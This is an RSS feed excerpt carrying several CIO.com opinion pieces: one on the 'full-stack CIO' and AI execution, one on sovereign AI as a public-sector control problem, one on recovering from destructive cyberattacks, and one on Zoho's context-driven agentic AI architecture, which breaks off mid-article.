						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



